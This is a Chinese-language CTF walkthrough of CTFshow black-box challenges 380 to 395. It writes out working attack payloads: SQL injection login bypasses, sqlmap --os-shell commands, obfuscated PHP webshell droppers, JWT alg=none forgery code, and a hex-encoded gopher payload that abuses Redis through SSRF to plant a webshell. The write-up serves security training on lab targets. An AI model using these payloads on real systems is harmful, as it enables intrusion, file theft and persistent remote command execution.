IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CTFshow——黑盒测试 -> 正文阅读

[PHP知识库]CTFshow——黑盒测试

380

扫描一个目录,发现page.php,打开发现提示缺少id参数,且id参数控制php文件的打开,直接/page.php?id=flag即可
在这里插入图片描述

381

在首页源码中有可疑的路径,一层层打开看就发现flag了
在这里插入图片描述

382、383

两题依旧是访问后台:/alsckdfy/,弹出一个登陆界面,在账号处有SQL注入,admin'||1#即可登入

最后还是弱密码爆破一下,账密是admin:admin888

384

根据题目的描述就知道的要爆破了,按照要求写好生成字典的脚本,但还有六万多的数据,实在是有点大,直接看师傅的爆破结果了,密码是xy123

import string
a='0123456789'
b=string.ascii_lowercase

for w in b:
    for e in b:
        for i in a:
            for j in a: 
                for k in a:
                    print(w+e+i+j+k)

385

算是一个重装漏洞吧,install目录没有被403,按照提示访问/install/?install即可重置管理员密码,账密:admin:admin888

386

这题居然有个clear.php,自己字典没扫出来…
当然这个clear.php出处是/layui/css/tree.css,要我肯定不会尝试访问这个地址…
在这里插入图片描述
单纯访问clear.php似乎并不会删除文件,需要加点参数,比如file?file=./install/lock.dat就成功删除lock.dat。。秒啊。。最后去访问后台用默认密码登录即可

387

访问robots.txt
在这里插入图片描述
访问/debug/提示file not exist,经过前几题的经验,试试加上?file参数,然后没想到是文件读取
在这里插入图片描述
尝试包含日志文件然后写webshell,但是参数一直传不进去,再试试system('sleep 5')确定能够执行命令
在这里插入图片描述
那么传不了参数就在system中写文件:最后的flag是在check.php中

<?php system('cat /var/www/html/alsckdfy/check.php>/var/www/html/1.txt');?>

还有一种方法就RCE删除lock.dat进行重装

<?php unlink('/var/www/html/install/lock.dat');?>

在这里插入图片描述

388

此处有个编辑器:/alsckdfy/editor/,kindEditor编辑4.1.11是存在上传过滤不严的漏洞的
在这里插入图片描述
可允许上传一些危险后缀如doc、html、txt、zip等等
在这里插入图片描述
我们上传一个文件然后在/debug/?file=处包含一下即可

<?php
$a='metsys';

strrev($a)('echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d > /var/www/html/1.php');

在这里插入图片描述

访问后/debug/?file=/var/www/html/alsckdfy/attached/file/20210813/20210813152904_72474.txt就会生成webshell了

389

继续访问/debug/提示权限不足,看看cookie信息发现是引入了JWT

将算法改成none的JWT脚本

import jwt
 
# payload
token_dict = {
  "iss": "admin",
  "iat": 1628869261,
  "exp": 1628876461,
  "nbf": 1628869261,
  "sub": "admin",
  "jti": "cbcea3355b64ed215da14373ad82e234"
}

# headers
headers = {
  "alg": "none",
  "typ": "JWT"
}

jwt_token = jwt.encode(token_dict,  # payload, 有效载体 
					 key='',
                       headers=headers,  # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
 					   algorithm="none",  # 指明签名算法方式, 默认也是HS256
                       ).decode('ascii')  # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str

print(jwt_token)

运行脚本得到的结果放在cookie中按照上一题的做法继续做即可

390

还是可以包含日志文件,其中UA头写unlink()函数删除lock.dat,这是前几题的做法
在这里插入图片描述
但是这题的意图是SQL注入,在页面中有id参数,测试了一下是有SQL注入的,直接SQLMAP跑

python sqlmap.py  -u "http://96105d8a-0108-4216-b454-80b8aebf9d52.challenge.ctf.show:8080/page.php?id=2"  --os-shell

391、392

在搜索处存在联合注入与延时注入

/search.php?title=-1' union select 1,2,3#

还是直接SQLMAP跑就行

 python sqlmap.py  -u "http://591cdf38-0c2b-4e64-bf4c-de106f770c90.challenge.ctf.show:8080/search.php?title=a" --os-shell

393

这题感觉思路很重要,考点是SSRF。
首先是继续SQLMAP跑search.php的注入点,跑不出os-shell--file-read的,只得简单看看ctfshow数据库下有什么表,其中有个link表,表中有url的字段,有点奇怪
在这里插入图片描述
在这里插入图片描述
回到浏览器中划到最下面多了个搜索引擎
在这里插入图片描述
点击百度发现是在当前页面中加载了百度的首页,尝试搜索但并不会跳转正常的百度搜索结果出来,那么可以猜测这个是从数据库中调用出来的,刚刚的link表的url控制了内容的读取,刚好也能对应这里了。
在这里插入图片描述
既然如此我们可以试试SSRF读取本地的flag,利用file:///flag来读取,但需要将它存到数据库中。

注入点同时还是堆叠注入,那么直接更新ulr的值为file:///flag,然后再点击一个搜索引擎即可

/search.php?title=a';update link set url='file:///flag' where id != 0;#

394、395

方法一:
继续使用update但报错error,怀疑是ban了某些字符,那么对file:///flag进行16进制

/search.php?title=a';update link set url=0x66696c653a2f2f2f666c6167 where id != 0;#

flag not here,再试试去/alsckdfy/check.php

/search.php?title=a';update link set url=0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870 where id != 0;#

黑名单是:

if(preg_match('/file|check|php/i', $id)){
    die('error');
  }

方法二:

看羽师傅的操作,还能攻击Redis,仔细想想也是,毕竟是SSRF,然后也是数据库相关的,如果有Redis服务那么也是一种攻击方式

这里一开始去用gopherus生成的payload去打一直不成功,最后看了羽师傅的操作还有更改字段类型的操作。确实,因为这个id字段是int类型的,接收不了这么多数据。下面的语句更改link表的url字段为text类型,学到了

/search.php?title=a';ALTER table link MODIFY COLUMN url text;#

在这里插入图片描述
最后打这个payload就会生成shell.php了:
/search.php?title=a';update link set url=0x676f706865723a2f2f3132372e302e302e313a363337392f5f2532413125304425304125323438253044253041666c757368616c6c25304425304125324133253044253041253234332530442530417365742530442530412532343125304425304131253044253041253234333425304425304125304125304125334325334670687025323073797374656d2532382532345f474554253542253237636d642532372535442532392533422532302533462533452530412530412530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343325304425304164697225304425304125323431392530442530412f7661722f7777772f68746d6c2f312e7068702530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343130253044253041646266696c656e616d65253044253041253234392530442530417368656c6c2e706870253044253041253241312530442530412532343425304425304173617665253044253041253041 where id != 0;#

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-15 15:18:07  更:2021-08-15 15:18:15 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/13 16:52:47-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码